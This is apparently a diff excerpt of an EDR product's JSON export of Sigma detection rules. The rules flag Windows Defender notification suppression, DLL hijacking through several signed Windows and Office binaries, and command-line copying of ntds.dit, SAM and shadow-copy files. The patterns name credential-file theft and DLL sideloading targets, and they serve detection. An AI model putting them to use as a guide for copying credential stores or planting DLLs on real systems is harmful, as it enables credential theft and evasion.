+  "content": "title: Windows Defender Notifications Disabled\nid: cdc610fd-f43b-4587-a27f-cd30832c205d\ndescription: |\n    Detects the disabling of Windows Defender notifications.\n    Attackers can use this technique to prevent users from being alerted by a Windows Defender detection notification and thus to hide their malicious activity.\n    It is recommended to analyze the process repsonsible for this registry modification and to look for other malicious actions on the host.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364104822444032\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\UX Configuration\\Notification_Suppress'\n        Details|contains: 'DWORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # its instances where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ProcessParentImage|contains: '\\'\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_kiosk_mode:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k AssignedAccessManagerSvc -s AssignedAccessManagerSvc'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k AssignedAccessManagerSvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_userprofile_config:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cdc610fd-f43b-4587-a27f-cd30832c205d",
+  "rule_name": "Windows Defender Notifications Disabled",
+  "rule_description": "Detects the disabling of Windows Defender notifications.\nAttackers can use this technique to prevent users from being alerted by a Windows Defender detection notification and thus to hide their malicious activity.\nIt is recommended to analyze the process repsonsible for this registry modification and to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cdc72cb2-30ce-46b8-9611-ad997390c08c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081820Z",
+  "creation_date": "2026-03-23T11:45:34.081823Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081827Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/ShadowChasing1/status/1557287930267578368",
+    "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html",
+    "https://twitter.com/h2jazi/status/1379816750120861697",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winword.yml",
+  "content": "title: DLL Hijacking via WinWord.exe\nid: cdc72cb2-30ce-46b8-9611-ad997390c08c\ndescription: |\n    Detects potential Windows DLL Hijacking via WinWord.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by putting a legitimate WinWord executable from Office 2013 alongside a malicious msvcr100.dll.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/ShadowChasing1/status/1557287930267578368\n    - https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html\n    - https://twitter.com/h2jazi/status/1379816750120861697\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/24\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WinWord.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\MSVCR100.dll'\n            - '\\explorerframe.dll'\n            - '\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\rsaenh.dll'\n            - '\\twinapi.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\wwlib.dll'\n            - '\\AppvIsvSubsystems32.dll'\n            - '\\AppvIsvSubsystems64.dll'\n            - '\\fastprox.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Microsoft Office\\root\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\'\n            - '?:\\Program Files\\Microsoft Office\\Office??\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\Office??\\'\n            - '?:\\Microsoft Office\\Office??\\'\n            - '?:\\Program Files\\Microsoft Office ??\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_naturally_speaking:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Nuance\\NaturallySpeaking*\\Program\\'\n            - '?:\\Program Files (x86)\\Nuance\\NaturallySpeaking*\\Program\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cdc72cb2-30ce-46b8-9611-ad997390c08c",
+  "rule_name": "DLL Hijacking via WinWord.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WinWord.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by putting a legitimate WinWord executable from Office 2013 alongside a malicious msvcr100.dll.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-24",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cdd4fb16-9b72-475e-9f75-5992667cdf32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074843Z",
+  "creation_date": "2026-03-23T11:45:34.074845Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074849Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dfscmd.yml",
+  "content": "title: DLL Hijacking via dfscmd.exe\nid: cdd4fb16-9b72-475e-9f75-5992667cdf32\ndescription: |\n    Detects potential Windows DLL Hijacking via dfscmd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dfscmd.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\netapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cdd4fb16-9b72-475e-9f75-5992667cdf32",
+  "rule_name": "DLL Hijacking via dfscmd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dfscmd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ce21d80b-abf4-48da-b3e7-8e01176c8667",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591235Z",
+  "creation_date": "2026-03-23T11:45:34.591239Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591246Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tsdiscon.yml",
+  "content": "title: DLL Hijacking via tsdiscon.exe\nid: ce21d80b-abf4-48da-b3e7-8e01176c8667\ndescription: |\n    Detects potential Windows DLL Hijacking via tsdiscon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tsdiscon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ce21d80b-abf4-48da-b3e7-8e01176c8667",
+  "rule_name": "DLL Hijacking via tsdiscon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tsdiscon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ce47ead7-672e-49a7-994a-a3b33cdff7db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080122Z",
+  "creation_date": "2026-03-23T11:45:34.080124Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080128Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/",
+    "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/",
+    "https://attack.mitre.org/techniques/T1003/003/"
+  ],
+  "name": "t1003_003_copying_sensitive_files_with_commandline_tools.yml",
+  "content": "title: Sensitive Files Copied via Command-line Tools\nid: ce47ead7-672e-49a7-994a-a3b33cdff7db\ndescription: |\n    Detects the execution of command-line tools to copy or move sensitive files like the Active Directory Domain Database (ntds.dit) or the Security Account Manager (SAM).\n    Such files contain sensitive information including hashed domain, information about domain members such as devices, users, and access rights.\n    Attackers can use these copied files for credential access.\n    It is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\nreferences:\n    - https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/\n    - https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/\n    - https://attack.mitre.org/techniques/T1003/003/\ndate: 2022/11/17\nmodified: 2025/09/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.t1003.003\n    - attack.defense_evasion\n    - attack.t1006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\xcopy.exe'\n        - OriginalFileName:\n            - 'cmd.exe'\n            - 'powershell.exe'\n            - 'xcopy.exe'\n\n    selection_action:\n        CommandLine|contains:\n            - 'copy '\n            - 'Copy-Item'\n            - 'move'\n            - 'cp'\n            - 'mv'\n\n    selection_target:\n        CommandLine|contains:\n            - '\\ntds.dit'\n            - '/ntds.dit'\n            - '\\config?SAM'\n            - '/config?SAM'\n            - '\\GLOBALROOT?Device?HarddiskVolumeShadowCopy'\n            - '/GLOBALROOT?Device?HarddiskVolumeShadowCopy'\n\n    # C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe # Check if sam database has bad permissions\n    # This is also used to check hardening against HiveNightmare SeriousSam CVE-2021-36934 $checkSpoolerStatus = $(Get-Service -Name Spooler | Select -Property Status).Status $checkSpoolerStartType = $(Get-Service -Name Spooler | Select -Property StartType).StartType $result=\"OK\" # Check for build $build_number = $((Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\").CurrentBuild) if ($build_number -gt 17763) {   Write-Output \"DEBUG:Build number requires additional checks on the sam database permissions...\"   # Check for sam permissions   $sam_permissions = (get-acl $env:windir\\system32\\config\\sam).Access   if (($sam_permissions | where-object { $_.filesystemrights -like \"*read*\" -and $_.identityreference -like \"*BUILTIN\\Users*\" -and $_.acce\n    exclusion_cyberwatch:\n        - GrandparentImage: '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n        # if cyberwatch agent is not installed on endpoint, it's checked \"remotely\" using PowerShell and we see only this...\n        - ProcessCommandLine: '*System32\\WindowsPowerShell\\v1.0\\powershell.exe*This is also used to check hardening against HiveNightmare SeriousSam*'\n\n    exclusion_autobackup7pro:\n        - ProcessGrandparentOriginalFileName: 'AutoBackup7Pro.exe'\n        - ProcessAncestors|contains: '\\AutoBackup7Pro.exe|'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ce47ead7-672e-49a7-994a-a3b33cdff7db",
+  "rule_name": "Sensitive Files Copied via Command-line Tools",
+  "rule_description": "Detects the execution of command-line tools to copy or move sensitive files like the Active Directory Domain Database (ntds.dit) or the Security Account Manager (SAM).\nSuch files contain sensitive information including hashed domain, information about domain members such as devices, users, and access rights.\nAttackers can use these copied files for credential access.\nIt is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2025-09-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ce8afb89-a2cc-4070-a2ea-7ab67781ccac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093049Z",
+  "creation_date": "2026-03-23T11:45:34.093051Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093056Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_msinfo32.yml",
+  "content": "title: Phantom DLL Hijacking via msinfo32.exe\nid: ce8afb89-a2cc-4070-a2ea-7ab67781ccac\ndescription: |\n    Detects a potential Windows DLL search order hijacking via msinfo32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/06\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msinfo32.dll'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\fveapi.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ce8afb89-a2cc-4070-a2ea-7ab67781ccac",
+  "rule_name": "Phantom DLL Hijacking via msinfo32.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via msinfo32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cee5198e-a01f-4f6e-9fe8-39acefc9b3c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097320Z",
+  "creation_date": "2026-03-23T11:45:34.097321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097326Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_lockapphost.yml",
+  "content": "title: DLL Hijacking via LockAppHost.exe\nid: cee5198e-a01f-4f6e-9fe8-39acefc9b3c1\ndescription: |\n    Detects potential Windows DLL Hijacking via LockAppHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LockAppHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\lockhostingframework.dll'\n    